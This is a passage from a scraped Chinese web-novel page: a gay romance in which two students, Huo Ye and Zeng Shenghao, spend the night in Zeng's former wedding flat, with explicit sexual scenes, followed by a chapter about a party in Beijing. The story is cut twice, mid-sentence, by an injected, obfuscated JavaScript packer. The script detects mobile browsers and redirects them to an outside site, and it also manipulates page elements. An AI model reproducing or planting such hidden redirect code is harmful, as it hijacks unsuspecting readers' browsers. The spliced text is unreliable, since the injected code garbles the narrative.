曾盛豪二话不说撒开他手,一脸沸腾红温地飘向路边那辆宝马五系。 “快点吧,十二点了,司机还等着呢。” * 曾盛豪这处房产不是他私下常住的地方,但却另具意义。 五百多平美式复古装修风、自带超级露台的豪华大平层,六间主客起居套房,大中小三客厅,走廊尽头有个硕大宽敞的书房和下午茶厅。 主卧套房给夫妻俩住,儿女各一套,剩余客房,方便接待家属朋友。 这里是曾盛豪的婚房。 冯洪在曾盛豪授意下,把两套婴儿房的星空顶全撕了,一系列儿童摇椅、月亮小床、卡通玩具也全都处理掉,清扫干净后,只剩两套空房。 主卧里,两床大红鸳鸯被、贴在窗户上的红喜字、象征性摆放在床上的新娘晨袍和礼服也全都扔了,以及卫生间成对儿的粉蓝洗漱杯、玄关鞋柜里的情侣拖鞋、客厅桌上摆放的红枣花生桂圆莲子、电视柜里的红烛……但凡丝毫有“婚房”的迹象,全部被消除得一干二净。 眼下,偌大客厅吊着一盏巨型璀璨水晶灯,照亮着深棕色的仿古家居,玄关拖鞋只剩灰、黑和白,桌上摆着新鲜的象山红美人、黑珍珠草莓和菠萝,电视抽屉里放着名贵茶叶和几只蟾蜍茶宠,三十平的衣帽间清一色全是男装,主卧被褥是新换的小山羊绒四件套—— 连盥洗台上的墙镜都是规整四方形,而不是巨大花瓣型。 曾盛豪脱掉外套就去厨房洗水果,霍晔拎着装情|趣内|裤的外送袋进门,目光好奇地打量这房子布局,直到看到两套小屋左右紧邻着主卧,他心猛地一沉,转身就离开。 曾盛豪正端着切好的水果出来,见霍晔慌张就要往外跑,忙道:“诶,车钥匙我拿走了。” 霍晔皱眉道:“我们出去住吧,我不想住这儿。” 曾盛豪诧异:“怎么了?你不喜欢吗?” 这是他名下最大的一套房子,他以为霍晔这种爱花枝招展的性子肯定会喜欢。 当然,鉴于这套房子的特殊含义,他有一点点自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521272|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的私心。 “曾盛豪,”霍晔突然有点烦躁,气得在门口跺了两下脚,“我让你别爱上我,因为我绝对不会爱上你!咱俩之间就简简单单的不行吗?!” 曾盛豪莫名其妙:“你怎么了,我没爱上你啊。” “你少给我放屁!”霍晔有点急,“这难道不是你娶老婆的房?” 曾盛豪吓得心脏一突,差点儿把手里的果盘给摔了。 霍晔难不成是孙悟空变的?居然会火眼金睛?他都打理成这样了,霍晔这都能看出来?! “不是,”曾盛豪大脑急速旋转,“这是前年买的法拍房,还没来得及改装。” 霍晔半信半疑:“这哪个大贪官的房?我怎么不知道你们这儿前年有落马的?” 曾盛豪蛮无语:“不是贪官的,是无人继承收归国有的。” “是么?”霍晔想了想,私心也更倾向曾盛豪这个闷石头不至于用情至此,便抬腿重新迈了进来,说,“你可别骗我啊。” “怎么会?”曾盛豪望着他笑,捏起一颗草莓递给他,“要尝尝吗?” 霍晔有点抵抗不住他温柔,笑着俯身凑近咬了一口,沾得嘴唇满是汁水,点头评价:“不错。” 曾盛豪把剩下半颗喂进自己嘴里,催促道:“时间不早了,快去洗澡吧,睡衣我给你放架子上了。” 霍晔轻嗤一声。 他就知道曾盛豪没安好心,这才进家没两分钟就催着他洗澡,想干啥? 霍晔将鼓囊囊的外送袋摔进对方怀里,让曾盛豪挑一条最喜欢的,等会儿亲手给他穿上。 “那其他的呢?”曾盛豪望着他飘然进浴室的背影。 “以后再说!”霍晔头也不回,“谁让你不乐意买套呢,全都穿给你小子看了,老子就该担心我屁股开花了。” “好,”曾盛豪笑得不行,“我听你的。” 他们分别在不同浴室洗好澡,穿着同款男士睡衣在主卧门口碰面。 霍晔吊儿郎当地踩着八字棉拖,正蹲在门口前的垃圾桶剥橘子吃,瞥眼一瞧,曾盛豪那个爱读书的装货居然还拎着个双肩包过来。 “大哥,”霍晔实在不理解这人,仰头皱眉问,“都有本公子这个颜如玉陪睡了,你大半夜还看个屁的书?” “没,”曾盛豪笑,“有个小礼物想送你。” “吃饭的时候咋不给?” “开过光的,大师说要洗完澡再戴。” 霍晔沉默几秒,低头又“哦”一声。 三两下又剥完一颗橘子,霍晔自认人帅心善,给身旁人分了两瓣,他吃剩下的8/10瓣,莫名焦虑地嚼着。 曾盛豪原本很有耐心地等,最后实在受不住他磨蹭,牵着他手就要进屋,霍晔心底无端涌出一股抗拒,手指突然死死地扒着门框,再三向对方确认: “你确定这是法拍房?” “你家这么富,瞧得上法拍房?” “曾盛豪,我可警告你啊,这要是婚房,本公子这辈子都跟你没完!” 曾盛豪充耳不闻,掌心攒足了劲儿,强行将人拖拽进屋,然后“砰!”一声将门关紧锁上。 霍晔气喘吁吁地坐在床尾,心想,在军训的时候就该看出来的,曾盛豪这丫的力气居然这么大。 他回头一瞥,见曾盛豪在梳妆台翻书包,心底突然又开始蹿火。 霍晔指着镜子:“你给我解释解释这梳妆台怎么回事儿!” 曾盛豪无动于衷:“你家那间蕾丝客房也有梳妆台。” 霍晔冷呵:“我主卧可没有!” “所以呢?”曾盛豪似乎也有些不耐烦,扭头瞪他,“你到底要再听我说多少遍‘我不会爱上你’才能安心?” “霍晔,既然你决心要成为无情的人,那你至少要无情一点儿才像个样子吧。” “你管我这是法拍房还是婚房,管我是不是爱你,你只要确保你自己别对我动心不就行了吗?” “但是我不想欠你人情!”霍晔烦躁道。 “一个无情的人,就不应该在意什么人不人情,你只要在意你自己就够了。” 曾盛豪掌心托着一枚首饰盒走近,霍晔伸脖子一瞧,里面躺着一块儿羊脂白玉的御龙观音像。 黑檀木的挂绳,菩萨法相慈悲庄严,神龙缠绕守护于身,是那类祈求健康平安的挂坠。 霍晔仰脸望着曾盛豪:“其实我戴不惯开光的东西,嫌麻烦。” 曾盛豪兀自挤进他腿间,弯腰将挂坠戴在他脖颈,淡淡道:“麻烦才好,省得你隔三差五就跑去跟人鬼混。” 霍晔不屑轻嗤:“你这哪是护身符,分明就是贞洁锁!” 曾盛豪垂目问他:“那你戴不戴?” 霍晔十分不乐意:“哼,这要让傅崇义那帮孙子看见了,他们指定要笑话我!” 曾盛豪无动于衷:“那你戴不戴?” 霍晔迟钝片刻,试探道:“盛豪哥,有了这破玩意儿,咱俩以后滚床单也很不方便呢……” 曾盛豪温柔地揉了揉他头发:“所以你到底戴不戴?” “戴戴戴!” 霍晔是真没招儿了,他突然有点后悔招惹这个人。 真是美色误江山,曾盛豪比他想象中要更敢作敢当,也更聪明固执,这人不像其他人一样完全地受他调戏摆弄,俩人发展到现在,这小子居然还摆弄起他来! “你送我玉,是想让我守身如玉的意思么?” 被窝里,霍晔绷直着腿,有点紧张地躺在一片漆黑中。 身下曾盛豪褪下他睡裤,帮他系着白蕾丝N|K的绑带,埋头吻得他有些喘。 一关灯,曾盛豪这畜生是真的不要脸了,一埋就埋了好久,但却没有更深进一步,就知道没完没了地亲他的胯骨和大腿根儿,弄得霍晔浑身燥热又羞恼不已,不停催着人赶紧出来。 曾盛豪磨蹭半天,这才窸窸窣窣帮他穿好裤子,冒头出来从身后抱住他。 “小晔,”曾盛豪落吻在他后颈,“今天是我长这么大最开心的一天,谢谢你。” “你别这样……”霍晔心烦意乱,隔着窗帘缝隙,他睁眼望着高悬在黑天的明月,说,“你是第一次谈恋爱才会觉得稀罕,以后和别人谈多了,就会发现肌肤之亲也就那么回事儿。” “是么?”曾盛豪埋头抱紧他,语气有些幽怨,“我以为我是第一个亲你下腹三角区的人。” “话是这么说,”霍晔脸上一红,舌头突然开始打结,“但、但是……” “但是什么?” “我们一般不叫那里下、下腹三角区……” “嗯?”身后人虚心求教道,“那叫什么?” “叫、叫鸡鸡和鸡鸡附近!”霍晔爆红着脸说。 “哦,”身后人勾唇微笑,“好的,我知道了。” 25. 第二十五章 翌日清晨,一缕阳光透过厚重天鹅绒窗帘照射进屋,霍晔从被窝里惬意地伸了个懒腰。 他扭过头,躺在他枕畔的男生正阖目熟睡。 霍晔忍不住屏住呼吸,凑近去打量。 曾盛豪长相偏中式正统,浓颜阔脸,五官坚毅,年纪轻轻就学贯中西腹有诗书,一派老成正气,难怪对踏入仕途胸有成竹。 古代选官注重仕人相貌,现代选拔人才说法更含蓄,称之为“精气神儿”,尤其搞外交的,踏出国门代表的是国家形象—— 曾盛豪这一款,主考官不得稀罕死他? 反正霍晔挺稀罕的。 他贪恋目光一寸一寸描摹着枕边人的脸,见人浓密粗眉斜入鬓角,眼窝深邃,一双眉骨锋利如刀,整个人犹如篆刻遒劲的名贵玉石,外表金璨华贵,一颗心藏傲然风骨,斯文矜骄,引人无限向往。 霍晔想,当初那张照片根本就显不出曾盛豪俊朗的百分之一。 “叶祖阳哪有你帅……”霍晔轻声嘟哝,俯身去吻对方的嘴唇。 二人嘴唇相贴,他脑子里竟产生一个荒诞的念头: 要是余生都和这人在一起,朝夕为伴…… 果然是美色误江山。 霍晔见人没醒,没怎么犹豫,从被窝钻去曾盛豪身后,伸手扒掉对方的。 他不能和这个人磨蹭太久,干脆就想着赶紧了事。 至于**的问题—— 曾盛豪既然是个闷葫芦,想必里面容量够大。 霍晔从曾盛豪身后紧抱着腰。 …… 曾盛豪紧皱起眉,喉咙里不自禁发出细微的哼声,人似乎还在沉睡着。 霍晔伸手帮他,哄道:“乖,继续睡吧,等下会很舒服的。” 曾盛豪闷着头,手指紧揪住一截被角,默默地听话继续睡。 霍晔渐渐有了感觉,正准备动作,丢在床头柜的电话就响了起来。 “哪个狗日的,大清早的!” 他烦躁地骂了声,维持着姿势,拿过手机看: 白聿川。 霍晔顿了顿,最终作罢,仔细帮曾盛豪把被子盖好。 自己则光着身子坐到床边,笑着接起电话:“喂,白哥,啥事儿啊?” 电话那边也很高兴:“小军,我是不是吵醒你了?但我实在太激动了!昨夜我一整晚都在想着你!” 霍晔:“嗯,你有事儿吗?” 白聿川笑道:“我知道这么问不太合适,但我已经把我们两个人年后欧洲度假的行程都安排好了,我想知道,你昨晚是不是已经和你男朋友分手了,如果没有,希望你尽快。” 霍晔顿时仰头大笑起来。 多稀罕呐,一朵路边无名无分的野花,吃了熊心豹子胆了居然敢这么催他! 一句“滚”还没脱口而出,手机被身后人一把粗鲁地夺走。 霍晔愕然回头。 曾盛豪脸色比粪坑还臭,甩手将整床被子扔他身上,险些将他压倒在地。 曾盛豪对白聿川道:“不好意思,小军平时随性散漫惯了,有些话说过就忘,要是有让你误会的地方,我替他向你道歉。” “我覺得我冇誤會到啊,”白聿川心有不甘,挑唆道,“他昨晚去见你的路上还给我打过电话,我们聊了有半小时呢。” “你这种举例的方式很好,说明才三十分钟的通话就对你很特殊了,”曾盛豪淡淡道,“但于我而言,不值一提。” 白聿川笑起来:“在打嘴仗这方面,你似乎比我想象中要更强。” “不用‘似乎’,他没被你拐走,只能说明我各方面都比你强。” “我通常不施人以怜悯,认为这是自恃优越高人一等,但这次的教训希望能让你有所觉悟,你轰轰烈烈准备的欧洲旅还没我们昨夜躺过的一张床垫值钱。” 说完,曾盛豪冷着脸,寒气四溢地挂断电话。 霍晔在旁边听得那叫一个酣畅淋漓,见曾盛豪阴森着脸朝他走来,连忙狗腿地给人一通噼里啪啦地鼓掌,谄媚道:“曾哥牛逼!曾哥威武!” 曾盛豪荣辱不惊,根本不吃他这套。 他将霍晔手机丢过去,居高临下道:“既然我们没有名分,我似乎就没有立场责备你,但下次再出现类似情况,要么你主动给我一个交代,要么我自己找你要交代。” 霍晔没太搞懂这个“交代”是啥意思,解释么? 但曾盛豪这么英明睿智又这么了解他,貌似也不需要他多余解释。 霍晔怕认错慢了又惹人生气,只一味诚恳点头:“行!好商量,都好商量!” 曾盛豪安静了好半晌,态度稍缓。 他嘱咐了句“穿上衣服吧,等会儿去外面吃早饭”,转身迈步下床,趿拉着棉拖去隔壁衣帽间选衣服。 霍晔连忙捂紧被窝,亦步亦趋紧跟在他身后,探头道:“诶,你对我的尺寸还满意吗?刚才可不是极限啊,我还没完全发挥出来呢!” 曾盛豪冷淡道:“不太满意。” 霍晔就笑:“要不咱俩回床上再试试?” 曾盛豪有些不耐烦,扭头皱眉:“霍晔,我现在不太想和你说话,你先离我远点吧。” 霍晔只好“哦”一声,蔫巴着裹着被子又走回去。 走没两步,又倒回来,认真道:“你不用憋着,这事儿是我不对,你可以吼我。” 曾盛豪直接“砰!”一声摔上衣帽间门,把对方关在外面。 霍晔于是在心里夸赞曾盛豪的小本本上,接着之前的“英俊可爱、字迹漂亮、身体素质好、英音很性感、漂亮爱哭、能言善辩、熟练六国语言、鸡鸡威武峻拔”,继续加上了一条“无敌温柔”。 霍晔是真心觉得曾盛豪能忍,嗯,很有正宫气魄!这要换位一思考,谁要敢给他霍晔戴绿帽儿,他一准儿赏对方个重度骨折,再一脚把人踹了,哪还轮得到这顶绿帽儿裹着被子在家里到处乱窜? 不过早餐曾少爷没请他去吃早茶,反而把他领去肯德基吃鸡扒蛋卷饼,这就有点耐人寻味了。 霍晔低头吸溜着热乎乎的豆浆,没搞清楚他又哪里做不到位了,让曾盛豪居然连份正经粥都不给他点? 霍晔仔细回忆了一下今早,除了白聿川那通电话,他们俩本来正…… 当即扭头对身旁人道:“早上没经过你同意就碰你,是朕急色了,朕道歉。” 曾盛豪垂眸咬着在隔壁赛百味买的减脂三明治,没理他。 霍晔又绞尽脑汁地想,试探问:“难道是……因为没戴套?” 曾盛豪面无表情地吸溜着杯里的冰美式,没理他。 也不对。 “你——!”霍晔皱了下眉,不禁有点烦躁,“到底怎么了,你倒是张嘴说啊!你不说我怎么改?!” “你……”曾盛豪顿了顿,不自觉紧捏住包装纸,“你、你对我……” “啥?”霍晔没听清,俯身凑近道,“宝贝儿大点儿声,我对你怎么了啊?” 曾盛豪闷着头,低声道:“你根本就对我没感觉,你只是想尽快和我发生关系,然后赶紧结束这段感情。” “你只是喜欢我的脸,就像小孩喜欢玩具,你想要得到我,但你对我……没有X冲动。” 霍晔被这家伙敏锐的洞察力吓得头皮发麻,强作镇定道:“谁、谁说我对你没冲动?” “你bó|起的很慢,也很勉强,”曾盛豪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521273|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头和他对视,眸光犀利,“你的手法也很幼稚,只会亲,不会摸。” “那个……”霍晔不禁惭愧,他挪着屁股挨着对方坐过去,小声道:“诶呀,你理解理解我吧,我看A|片没感觉,看同志片比看A|片还没感觉,之前费尽心思找来那些资源,男演员都长得奇形怪状的,要么瘦骨嶙峋,要么就壮得跟熊一样,还毛茸茸的,剧情也粗糙,我一个gay看了都反胃。” 曾盛豪诧异:“你不是谈过几个男朋友么?” 霍晔嗤了声:“我不喜欢洋人长相,生活无聊才谈着玩儿的,他们都很聪明,会主动帮我做作业。” 曾盛豪忙趁机问:“所以,你们都没接过吻?” 霍晔不悦眯眼:“你这是嫌弃我吻技也很差劲的意思么?” “不至于太差劲,”曾盛豪不客气道,“只是我以为你动不动就喜欢乱亲别人,吻技会很好。” “还给你挑上了,”霍晔冷笑,“这辈子能被本公子亲上两口,你们这群人的祖坟上都该冒青烟了好吧!” “那……”曾盛豪忍不住好奇,“你至今都没遇到过让你心动的人?” “你是指心动,”霍晔挑眉问,“还是指下面动?” 曾盛豪盯着他,说:“Both.” “心动的有很多啊,”霍晔跋扈地翘起二郎腿,随手掸了掸衣角,“你老公我心跳一直都很健康,有时候瞧见傅崇义那孙子穿西装还觉得他有几分人模狗样呢。” “那下面动的呢?” “下面动的,”霍晔顿了一顿,说,“目前就一个。” “谁?” “你。” “呵!”曾盛豪根本不信,“你要是对我有那种想法,早上就不至于磨蹭了足足两分四十五秒!” 霍晔气笑了,将鸡扒蛋卷饼往盘子里一摔,瞪他:“你少搁这儿跟我发表你那些变态言论!你以为谁都跟你似的随时随地就能发情啊?你要不要照镜子看你长得那样儿!” 曾盛豪眉心一抽,沉声问:“我长得怎么了?” 明明今早霍晔还夸他比叶教官还帅呢! “你长得太正派了,清心寡欲的,连碗白水面都比你有滋有味儿!”霍晔抬起油腻无比的食指,一下又一下地戳着他眉心,犀利评价道:“你这张脸,你的身体,哪有一点儿风骚勾引人的样子?!” “如果你要风骚,你就不会选择我,”曾盛豪攥住他手指,与他四目对视,“如果你真有那方面的意思,我相信也绝不是因为我这张脸。” “有意思,”霍晔笑了,说,“那你要不要猜猜我为什么会缠上你?” “大概和我完全相反,”曾盛豪松开他手,认真道,“这也是我很敬佩你的原因之一,霍晔,和你比起来,我真的很肤浅。” “少搁这儿跟我装,”霍晔勾着笑眼瞟他,“你故作谦虚,难道就不是另一种形式的自得意满吗?” “所以,”曾盛豪执着追问,“那个人是谁?” 霍晔有些无奈,问:“如果我说了,你又打算怎么办?模仿他,还是超越他?” 曾盛豪淡淡道:“不怎么办,我只是随便问问。” 霍晔点点头:“行吧。” 曾盛豪忙问:“谁?” 霍晔叹道:“他叫曾小花。” 曾盛豪没太听清他一口京腔:“什么?” 霍晔宛若音乐指挥家,一脸认真地伸双手给他比划:“曾盛豪的曾,邵小军的小,梨花带雨的花——曾、小、花!我长这么大遇到过的最萌最难哄的帅哥,也是唯一一个因为屁大点儿事就在我面前哭鼻子的蠢蛋,我很想操他,往死里操的那种,懂了?” 曾盛豪:“……” 26. 弟二十六章 京城四月天,夜幕落下,华灯初上,东三环中路车流堵塞。 一场淅沥春雨淋湿京华大饭店的门庭,两排路灯映照得整栋楼厦在雨雾中愈发金碧辉煌。 龙溪将一辆漆黑越野SUV横在庭中,撑伞跑去后面,帮一对儿俊男靓女开车门。 霍晔梳着靓丽的大背头,一套松垮舒适难掩风骚的深紫色西装,领口衬衫敞着两颗扣,踩着皮鞋,身姿潇洒步履悠然。 苏姿一袭法式亮钻黑短裙,貂毛披肩,脚踩细高跟,伸手轻轻挽住了身旁人。 “你今天很帅,”她痴恋地望着他,“以后多这样打扮吧。” 霍晔不置可否。 龙溪将另一把伞撑开,递过来。 苏姿犹豫了下,见霍晔没动作,她便又将手从他臂间抽回来,打着伞站在他旁边。 龙溪对她视而不见,自顾自帮霍晔撑着伞,俩一米八几的大男人毫不怜香惜玉,一齐说笑着结伴往饭店里走。 苏姿见二人这架势,不免有些羞恼。 她是前不久在集团楼下邂逅邵小军的。 当时邵小军刚从外地回京,公司众高层在隔壁酒店举办年会,他一路风尘仆仆,连张请柬就都没有就闯进来蹭吃蹭喝,吃相还颇为狼狈,乞丐似的,那群保镖竟然也没有赶他走。 苏姿挽着她爸来宴席玩儿的,瞥见邵小军那一副八百年没吃过饭的穷酸相,正要捂鼻子嫌晦气,下一秒,邵小军转身逮住个服务生,端起杯红酒仰头咕咚咕咚一口气喝光,那一副矜贵雍容的白皙脸庞,浓眉英挺器宇不凡,哪里跟乞丐沾半点边儿? 说他是谁家老总的太子爷还差不多。 她立马就沦陷了。 她缠着爸爸打听这男生,爸爸说邵小军是霍董嫂子老家远房亲戚的儿子,灭九族都打不着的血缘,说他配不上她,让她再挑个别的。 她不听,她就对他一见钟情了! 她费了好些功夫,将搜集来的资料东拼西凑,还找私家侦探去邵小军就读的M大做调查,结果一无所获,查无此人。 她觉得哪里不对劲,找爸爸猜测邵小军是否是个假名?爸爸日理万机,只觉得她被男狐狸精迷了心窍,居然看上一个长相娘炮的外地小子? 爸爸劝她少对男狐狸上点儿心,他可不想做那种被女婿骗光家产的冤大头老丈人,她心有不甘,正值山重水复疑无路之际,私家侦探帮她在M大金融系打听到两个人名: 赵茂青和霍晔。 霍晔详细身份没人知道,但他的好哥们儿赵茂青身份早已被自个儿女朋友传得沸沸扬扬,于是苏姿顺藤摸瓜,很快确定了邵小军就是霍晔。 霍晔和霍玉章,叔侄关系,家里是军中背景。 霍玉章一生未婚,膝下无子女,如今近五十岁,也是时候该挑个继承人了。 邵小军潜进集团半年,竟无一人发觉。 苏姿为自己的聪明才智而沾沾自喜。 她没告诉爸爸,打算先和太子爷玩一出“富家女爱上穷小子”的偶像剧,把太子爷骗到对她死心塌地了,再吓她爸爸一大跳! 太子爷对她居高临下赏赐的爱意毫无反应,苏姿痛定思痛,很快又换了路数,开始诚心实意地平等追求。 一连好几周,她送车送表送黑卡,请酒请饭请度假,太子爷貌似是个厚颜无耻的混蛋,笑嘻嘻收了她所有的礼物,然后冷脸拒绝了她所有的邀请。 苏姿不禁火冒三丈。 某夜把太子爷堵在公司楼下,上演一出强取豪夺的戏码,警告太子爷要敢不从她,她就把他身份在集团曝光出来! 这样一来,虽然不影响霍晔的继承性大问题,但邵小军确实没办法好好做事了。 听她爸说,邵小军在年底以储备干部身份,跟随着几个领导检查地方车间生产链,发现几处问题: 第一是产品问题: 数个部门真假参半,为冲销量放宽质检标准,轮流虚报良品率; 第二是人力和安全隐患问题: 消防、安保措施没做到位,外包工、临时工的雇佣费用被层层扒皮,工时与工资不对等,已经严重违反劳动法,急需整改; 重型机械年年维修,年年都报废一大批,总部拨下去的大笔维修费,全流进了分部上层领导的兜,好岗位聘用人选都以血缘关系在公司内部无限繁殖,上从总经理,下到车间主任,全是地方负责人的远近亲戚,搞得整个分公司领导层都乌烟瘴气; 第三是经济问题: 分公司仓库台账对不上,每季度地方负责人联合总部几位领导要吞掉四十多万,看似苍蝇小粒无足轻重,一年下来就要近两百万。 无数场的饭局上,邵小军一脸谄媚狗腿地给诸领导敬酒打趣捧臭脚,一边恬不知耻地收下领导们随手打赏他的封口费和笼络费,一边默默记下他们的名字和亲戚们,总结汇报下来—— 并不直接私发给总裁办。 苏姿爸爸哭笑不得地说,这小子的确有两把刷子,不仅拿地方领导的笼络费,也拿了总部另一派的笼络费,算是间|谍身份,把证据确凿的材料付费卖给总部另一派,引得集团两派相斗,他隔岸观火,中途不仅拿了四十多万好处费,最后还能全身而退。 “听说他拿到钱后立马就去江诗丹顿买了块儿表,盒子礼袋都没要,直接把表揣裤兜里就骑摩托走了,真够随性的。” 苏姿爸爸是霍玉章的心腹,算是自己人,不晓得邵小军真实身份,只当他是霍玉章派下去的一枚棋子,因此对潜藏于水面之下的事略知一二。 自古美人爱英雄,苏姿这下更想找霍晔谈恋爱了。 霍晔懒得陪天真烂漫的大小姐演偶像剧,但她爹是他叔的左膀右臂,他又不好太欺负她。 鉴于苏姿才掌握他一点小秘密就张牙舞爪,霍晔也不打算跟她解释更多小秘密,干脆就冷处理,或者,让其他人来处理—— 今天是赵茂青的亲大哥,赵寻山三十岁生日外加晋衔空军少校的大喜日子,一帮成天没正经事儿干的纨绔子弟们嚷着要抱他大腿沾喜气,给他在京华大饭店张罗了个庆祝派对。 换句话说,这是一群混世魔王们集体嗨皮的party,霍晔认为,苏姿今晚若是能笑着走出这个门,他不喊她姐了,他都乐意喊她一句“姑奶奶”。 既然姑奶奶非要泡他,那就必须要适应他周遭的环境生态。 如果适应不了,那就慢走不送。 前台经理见霍晔来,忙笑声引着他去楼上party,苏姿紧随其后,扭头跟霍晔抱怨,你来参加party就开辆三十来万的破车,你那辆劳斯莱斯多有面儿啊! 霍晔不咸不淡道:“等会儿你走,连那辆三十来万的破车都坐不上。” 苏姿皱眉:“你有没有一点绅士礼节?你居然都不送我回家?” 霍晔小手指漫不经心掏掏耳朵:“本公子另有佳人要接送。” 苏姿冷呵一声:“你学校谈的女朋友?” 霍晔:“无、可、奉、告。” 仨人正准备进电梯,大堂旋转门踏步进来一个背书包的男生,身高不到一米七的小手办,从头到脚都被雨淋湿透了。 原本他是昂首挺胸地走着,一派“我是酒店客人,你们都是我的仆人”阔少跩样,接着,趁人没注意,他抬头瞄准霍晔刚打开的电梯,猛地一个埋头冲刺,斗牛撞红布似的,撒丫子朝他们这边奔来。 霍晔二话不说抬手摁住斗牛脑袋,挑眉问:“泽之?” 叶泽之懵然抬头,见是熟人,便甜甜地笑:“霍晔哥。” 霍晔抄手就赏他一个大爆栗:“叫什么哥,叫姐夫!” 叶泽之吃痛地揉着脑袋瓜,委屈道:“姐夫。” 苏姿瞬间瞳孔地震,失声问霍晔:“你不是才大一吗?!怎么就当上姐夫了!” 霍晔没理她,皱眉打量着叶泽之:“刚放学?怎么不回家?这儿是你该来的地儿么?” 叶泽之装聋,只一味冲他卖乖:“好姐夫,我也想去派对玩儿,你带我一个呗?” 霍晔诧异:“你咋知道这有派对?” 叶泽之嘿嘿笑:“崇义哥也在里头,我昨天偷听他讲电话了。” “哦——”霍晔恍然大悟。 见这么一个年仅十三岁的娃误入歧途怪可怜的,便端出长辈架子:“傅崇义阴险狡猾不是好人,你少跟他混在一起。” 叶泽之眨着星星眼望他:“姐夫,我身上都湿了,你好歹让我进去换身衣服吧?” 霍晔根本不吃这套,瞥他:“有司机接送放学还能淋着?” 叶泽之眸底一瞬间含泪:“姐夫,我冷。” 霍晔:“……” 一边感慨真是江山代有才人出,这小鬼演技精湛得令他都不禁自让三分,一边吩咐前台给叶泽之买套干净衣服。 霍晔蛮随意道:“去街对面给他买身爱马仕,顺便在店里给我拿二十瓶新品香水,包装严实点儿,全撂我车里,账都算在傅少的头上。” 前台经理愣了一下,忙不迭点头离开了。 在苏姿喋喋不休的质问下,霍晔哼着小曲儿,领着叶泽之进包厢了。 派对早已开始,赵寻山蜡烛都吹灭了,一帮人正放着生日歌在切蛋糕。 霍晔算是晚来,因为一开始苏姿死活不愿坐这破车,嫌廉价掉面儿,跟霍晔控诉他随随便便买一块表还四十多万呢! 霍晔就笑,转头跳上车就要走,气得苏姿又追着他跑,霍晔在后视镜欣赏半天苏姿踩着十厘米细高跟鞋百米冲刺,才把人重新拉上车。 “什么叫随随便便?” “是不想他太在意,才没搞那么多形式。” 霍晔语气随意宛如与她寒暄,无端又透着几分冷意,显然是不乐意旁人质疑他送礼物的那份真心。 苏姿一时噤若寒蝉,连一句“原来那表是你送人的吗”都没敢问。 贵宾包厢是一套自带露台、泳池、游戏室、唱歌房的大套房,客厅水晶灯光璀亮,墙角摆着两个台球桌,二十多个年轻人说笑着从不同房间蹿来蹿出,不时传出几句脏得不行的笑骂声,或者自娱自乐的跑调歌声。 赵寻山见霍晔来,还惦记着曾经自家弟弟欺负人家的事,赶忙切了块大蛋糕递上前,笑声寒暄道:“小霍,好久不见,原先茂青他——” “诶,旧事不重提,”霍晔笑着接过蛋糕,“我先祝寻山哥生日快乐,官途亨通!” 说着,从衣兜里掏出枚丝绒小礼盒递过去。 赵寻山打开瞅了眼,是枚定制的私人飞行徽章,上面刻着他名字缩写、所属部队和飞机机型,不禁会心一笑,仔细揣进了外套内侧兜里。 他拍了拍霍晔肩膀,说句“用心了,好好玩儿”,自动忽视掉旁边的两个陌生男女,继续忙着分蛋糕去了。 赵茂青正坐在沙发上哄女朋友。 上次没领她参加婚礼,她事后和他闹分手,赵茂青见人哭得梨花带雨,一时心里有愧,又舍不得了。 赵茂青磨了赵寻山好久,光电话就打了三十多个,终于说服赵少校在生日这天从部队请假出来玩儿。 赵茂青兴高采烈地把女朋友带到哥哥跟前儿,介绍道:“这我哥,亲哥,他也是军官,开战斗机的!” 女朋友十分兴奋,忙跟着喊:“哥!” 赵寻山登时脸黑得跟块煤炭似的,当着一众人面,劈头盖脸就冲赵茂青一顿咆哮:“他妈的,非把老子喊出来过生日!结果老子开个飞机还给你小子炫耀上了!当老子是什么观赏性动物吗!!” 说罢,一口唾沫重重吐进了赵茂青和女朋友敬过来的香槟杯里,连个眼神都没给他俩,直接就把弟弟女朋友给吓哭了。 “别哭了宝贝儿,我哥人挺好的,他没坏心眼的。” “你也知道部队训练辛苦,一年到头的难免压抑,他性格暴躁点儿是很正常的。” “那、那……”女朋友呜呜地缩在他怀里哭着,“叶教官性格就很好啊……” “叶教官年轻嘛!”赵茂青温柔替她擦着眼泪,“我哥都三十了,还打光棍呢,他可能快更年期了。” 赵寻山气笑了,二话不说拔起个切蛋糕的塑料刀,“嗖!”一声,直冲弟弟耳边削过去。 “说话给老子注意点儿!” 赵茂青反应敏捷,闪身就避开了。 他一抬头,正见霍晔领着个无名氏进来,不禁蹙了下眉,问:“婧柠呢?” 霍晔拎小鸡儿似的,拎着苏姿后颈的貂毛披肩,带她一起坐在赵茂青和女朋友中间,扭头笑:“你咋还吃着碗里的看着锅里呢?” 赵茂青就恼:“上次就让你别误会了,朋友妻不可欺,我像是能干那种事儿的人吗?” 霍晔轻嗤一声,慢悠悠叠起二郎腿,戳着塑料叉子吃蛋糕:“你不是,我是。你这女朋友不行,挑个明媚风光的好日子给她踹了吧。” 苏姿“咦”一声! 赵茂青愣然:“什么意思?” 那边女朋友正哭着,一听这话愤然抬头,见是霍晔,心下又怵。 她就喊:“茂青哥!” 赵茂青忙走过去要再哄她,霍晔伸出一条腿踩在茶几上将人拦住,瞥眼看向苏姿。 “来,跟你这位帅弟弟聊聊,你怎么认识他的。” 赵茂青一听这,立刻就有不好预感。 他忙去看女朋友,女朋友捂着风衣外套将整颗头都钻起来。 